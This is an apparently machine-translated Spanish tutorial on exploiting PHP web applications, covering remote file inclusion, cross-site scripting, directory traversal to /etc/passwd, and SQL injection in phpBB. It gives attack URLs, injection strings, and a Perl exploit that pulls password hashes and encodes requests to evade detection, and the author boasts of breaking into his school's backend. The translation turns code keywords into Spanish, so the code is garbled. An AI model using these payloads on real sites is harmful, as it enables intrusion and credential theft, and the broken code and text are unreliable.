A juzgar por la seguridad de la red actual, la vulnerabilidad de la página WEB que más preocupa a todos y a la que más están expuestos debería ser ASP. En este sentido, Xiaozhu es un experto, pero no tengo nada que decir desde la perspectiva de PHP. También hay vulnerabilidades de seguridad muy graves, pero no hay muchos artículos en esta área. Aquí, analicemos brevemente las vulnerabilidades relacionadas de las páginas PHP.
He hecho un resumen de las vulnerabilidades PHP comunes actuales, que se dividen aproximadamente en las siguientes categorías: incluidas vulnerabilidades de archivos, vulnerabilidades de ejecución de comandos de script, vulnerabilidades de fuga de archivos, vulnerabilidades de inyección SQL, etc. Por supuesto, en cuanto a algunas tecnologías comunes como Falsificación de COOKIES, no lo discutiré aquí, hay mucha información al respecto en línea. Entonces, ¡analicemos cómo explotar estas vulnerabilidades una por una!
Primero, analicemos la vulnerabilidad del archivo incluido. Se debe decir que esta vulnerabilidad es exclusiva de PHP. Esto se debe al procesamiento insuficiente de datos maliciosos proporcionados externamente, lo que permite a atacantes remotos explotar estas vulnerabilidades para ejecutar comandos arbitrarios en el sistema con procesos WEB. permisos.Comando. Veamos un ejemplo: supongamos que existe un código de este tipo en a.php:
<?php
incluir($incluir."/xxx.php\");
?>
En este código, $include es generalmente una ruta que se ha configurado, pero podemos lograr el propósito del ataque construyendo una ruta nosotros mismos, por ejemplo, si enviamos: a.php?include=http://web/b. .php, esta web es el espacio que usamos para atacar. Por supuesto, b.php es el código que usamos para atacar. Podemos escribir en b.php algo como: passthru("/bin/ls /etc "). ; código. De esta manera, puede realizar algunos ataques intencionados (Nota: el servidor web no debería poder ejecutar código PHP; de lo contrario, habrá problemas. Para obtener detalles relevantes, puede consultar < < Cómo lidiar con vulnerabilidades comunes. en el ataque de programas PHP >>). En términos de esta vulnerabilidad, hay muchos problemas, por ejemplo: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart y muchos más.
A continuación, echemos un vistazo a la vulnerabilidad de ejecución del comando de secuencia de comandos. Esto se debe a la falta de filtrado suficiente de los parámetros URI enviados por los usuarios. El envío de datos que contienen código HTML malicioso puede desencadenar un ataque de secuencias de comandos entre sitios y puede obtener información confidencial del usuario. usuario objetivo. Demos también un ejemplo: la página index.php en PHP Transparent PHP 4.3.1 o inferior carece de filtrado suficiente de PHPSESSID. Podemos lograr el propósito del ataque a través de dicho código:
http://web/index.php?PHPSESSID="><script>...</script >En el script podemos construir funciones para obtener información confidencial de los usuarios. Hay relativamente pocas vulnerabilidades en este sentido, excepto en Además de PHP Transparente, existen: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Luego, echemos un vistazo a la vulnerabilidad de divulgación de archivos. Esta vulnerabilidad se debe a la falta de filtrado suficiente de los parámetros enviados por el usuario. Los atacantes remotos pueden utilizarla para realizar ataques transversales de directorio y obtener información confidencial. Tomemos como ejemplo el phpMyAdmin recientemente descubierto. En phpMyAdmin, la página export.php no filtra completamente el parámetro 'qué' enviado por el usuario. Un atacante remoto puede evitar esto enviando datos que contengan múltiples caracteres '../'. Supere las restricciones de WEB ROOT y vea cualquier información de archivo en el sistema con permisos WEB. Por ejemplo, ingresar una dirección de este tipo: export.php?what=../../../../../.. /etc/passwd%00 puede lograr el propósito de fuga de archivos. es relativamente Hay más: myPHPNuke, McNews, etc.
Finalmente, volvemos al lugar más emocionante. Piense en lo divertido que es usar la inyección SQL en páginas ASP. En el pasado, teníamos que inyectar manualmente hasta que Xiaozhu se dio cuenta del "libro secreto de la inyección SQL" (jeje), y luego. Después de desarrollar NBSI, nuestra NB Alliance realmente marcó una gran diferencia. Hemos ayudado sucesivamente a CSDN, Monopoly Forum, China Channel y otros sitios web importantes a encontrar lagunas (no entraré en más tonterías sobre esto, está un poco fuera de tema). .. ). Volvamos al tema. De hecho, la inyección SQL en ASP es más o menos lo mismo que la inyección SQL en PHP. La función básicamente no ha cambiado. De hecho, cuando todos ven la inyección SQL en PHP, ¿piensan en PHP-NUKE y PHPBB? Sí, como dice el refrán, los foros como Dongwang deberían ser el rey de las lagunas en el mundo ASP. No quiere decir que la seguridad de su foro sea demasiado pobre, sino que es demasiado conocido. Cuanto más lo usen, más personas investigarán y más agujeros de seguridad se descubrirán. Lo mismo ocurre con PHPBB. , que es muy popular ahora. Cuando la mayoría de la gente usa PHP para crear foros, generalmente eligen PHPBB. Sus vulnerabilidades también surgen constantemente desde las primeras vulnerabilidades descubiertas en la versión phpBB 1.4.0 de phpBB.com. .6 de groupcp .php, y los previamente descubiertos search.php, perfil.php, viewtopic.php, etc. suman aproximadamente una docena. Esto siempre ha llevado a que algunas personas lo utilicen como un producto experimental al estudiar las vulnerabilidades de PHP. Como dice el refrán, la práctica te hace perfecto. Creo que PHPBB mejorará cada vez más en el futuro.
Bien, analicemos la causa de la vulnerabilidad. Tome la página viewtopic.php como ejemplo. Al llamar a viewtopic.php, el "topic_id" se obtiene directamente de la solicitud GET y se pasa al comando de consulta SQL, sin ningún filtrado. , el atacante puede enviar una cadena SQL especial para obtener la contraseña MD5. Esta información de contraseña se puede utilizar para el inicio de sesión automático o el descifrado por fuerza bruta. (No creo que nadie quiera hacer un cracking por fuerza bruta, a menos que haya una razón particularmente importante. Primero echemos un vistazo al código fuente relevante:
# si (isset($HTTP_GET_VARS[POST_TOPIC_URL]))
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# más si (isset($HTTP_GET_VARS['tema']))
# {
# $topic_id = intval($HTTP_GET_VARS['tema']);
# }
De lo anterior podemos ver que si la vista enviada = más nueva y sid se establecen en un valor, el código de consulta ejecutado se parece al siguiente (si no ha visto el código fuente de PHPBB, le sugiero que lo lea y luego venga aquí). Mira, los sistemas afectados son: phpBB 2.0.5 y phpBB 2.0.4)
.
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# donde s.session_id = '$session_id'
# Y u.user_id = s.session_user_id
# Y p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDENAR POR p.post_time ASC
# LIMIT 1";
Rick proporcionó el siguiente código de prueba:
use IO::Socket;
$remoto = turno || 'localhost';
$view_topic = cambio || '/phpBB2/viewtopic.php';
$uid = cambio || 2;
$puerto = 80;
$dbtype = 'mysql4'; # mysql4 o pgsql
print "Intentando obtener el hash de contraseña para uid $servidor uid $tipo de db remoto: $tipo de dbn";
$p = "";
for($índice=1; $índice<=32; $índice++) {
$socket = IO::Socket::INET->nuevo(PeerAddr => $remoto,
PeerPort => $puerto,
Protocolo => "tcp",
Tipo => SOCK_STREAM)
o morir "No se pudo conectar a $remoto:$puerto :$@n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) "&view=newest" .
imprimir $socket $cadena;
print $socket "Cookie: phpBB2mysql_sid=1n" # reemplazar esto por pgsql o eliminarlo;
print $socket "Host: $remotonn";
mientras ($respuesta = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # Coincide con la ubicación: viewtopic.php?p=<num>#<num> {
$p .= chr();
}
}
cerrar($zócalo);
}
print "nMD5 Hash para uid $uid es $pn";
# cadena de codificación aleatoria ayuda a evitar la detección
sub código_aleatorio {
$cadena = cambio;
$ret = "";
para($i=0; $i<longitud($cadena); $i++) {
$c = substr($str,$i,1);
$j = longitud rand($cadena) * 1000;
si (int($j) % 2 || $c eq ' ') {
$ret .= "%" sprintf("%x",ord($c));
} demás {
$ret .= $c;
}
}
devolver $ret;
}
submake_dbsql {
si ($dbtype eq 'mysql4') {
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users donde user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; seleccione ascii(substring(user_password from $index for 1)) como post_id de phpbb_posts p, phpbb_users u donde u.user_id=$uid o false";
} demás {
devolver "";
}
}
No explicaré mucho sobre este código roto. La función es obtener el valor HASH.
Al ver esto, es posible que tenga algunas preguntas sobre por qué no se utilizan las funciones modificadas que mencioné anteriormente. No tengo miedo de hacer reír a la gente cuando les digo: de hecho, las declaraciones de consulta de algunas páginas de muchos sitios en Internet se verán. como esto:
display.php?sqlsave=select+*+desde+aaa+dónde+xx=yy+orden+por+bbb+desc
No se ría, es verdad. He usado esto para acceder a varios sitios web grandes. En cuanto a cuáles, es difícil saberlo, pero para el sitio web de nuestra escuela, lo usé para acceder al backend (espero que el centro de red de la escuela pueda hacerlo). No lo veo) Este artículo, ^_^). Utilice la función anterior. De lo contrario, tendrá que cambiar las contraseñas de otras personas.
Casi olvido que PHP es diferente de ASP en lo que respecta a la inyección de SQL. MySQL no es tan flexible como MSSQL en el uso de declaraciones SQL. Por lo tanto, muchas declaraciones de consulta que se pueden usar en MSSQL no funcionarán en la base de datos MySQL. Las declaraciones de inyección comunes son así: aaa.php?id=a' en el archivo de salida 'pass.txt o aaa.php?id=a' en el archivo de salida 'pass.txt' /*Se puede cambiar aún más a: aaa.php? id=a' o 1=1 unión seleccione id, nombre, contraseña de los usuarios en el archivo de salida 'c:/a.txt. De esta manera puede exportar los datos de la base de datos a un archivo y luego verlos.
O así: modo=',user_level='4
Esta declaración se usa generalmente al modificar datos. Si hay una vulnerabilidad en la página, puede lograr el efecto de elevar los permisos.
Otros como 'OR 1=1 -- or: 1' o 1='1 son similares a asp. No entraré en detalles aquí. En PHP, la inyección SQL parece ser la vulnerabilidad número uno. páginas. Este es el problema.
De hecho, se puede ver que solo hay una razón para las clasificaciones anteriores: los parámetros enviados no se filtran o el filtrado no es lo suficientemente riguroso. Las líneas de defensa de los piratas informáticos siempre han sido tanto ofensivas como defensivas.
En primer lugar, personalmente creo que es el más importante. Lo más importante es configurar magic_quotes_gpc en ON. Su función es convertir comillas simples, comillas dobles, barras invertidas y caracteres nulos en caracteres que contengan barras invertidas, como
.
seleccione * de admin donde nombre de usuario='$nombre de usuario' y contraseña ='$contraseña', el atacante quiere usar 1' o 1='1 para omitir la verificación, pero esas cadenas se convertirán en esto: seleccione * de administrador donde nombre de usuario = 'a' y contraseña = '1 ' o 1 = '1' para lograr el propósito de evitar la inyección. De hecho, la operación addlashes () se realiza automáticamente. Si no funciona, defina su propia función. Ahora parece que aquellos que se dedican a la inyección de PHP también están relativamente deprimidos, porque las versiones inferiores a myslq4 no admiten subdeclaraciones y las nuevas versiones de mysql activarán de forma predeterminada la opción magic_quotes_gpc.
El método para resolver la vulnerabilidad del archivo de inclusión es pedir a los programadores que intenten no utilizar variables para los parámetros en los archivos de inclusión. Si se utilizan variables, los nombres de los archivos que se incluirán deben verificarse estrictamente y el usuario no debe especificarlos arbitrariamente. Se recomienda desactivar global_variables. Por ejemplo, limitar la ruta de operación de PHP en la apertura del archivo anterior es una opción necesaria. Además, a menos que sea necesario lo contrario, asegúrese de desactivar la función de apertura remota de archivos de PHP. Modifique el archivo php.ini: enable_url_fopen = Off (Nota: consulte <<Problemas de seguridad de PHP: desbordamiento remoto, DoS, vulnerabilidades de omisión del modo seguro>>).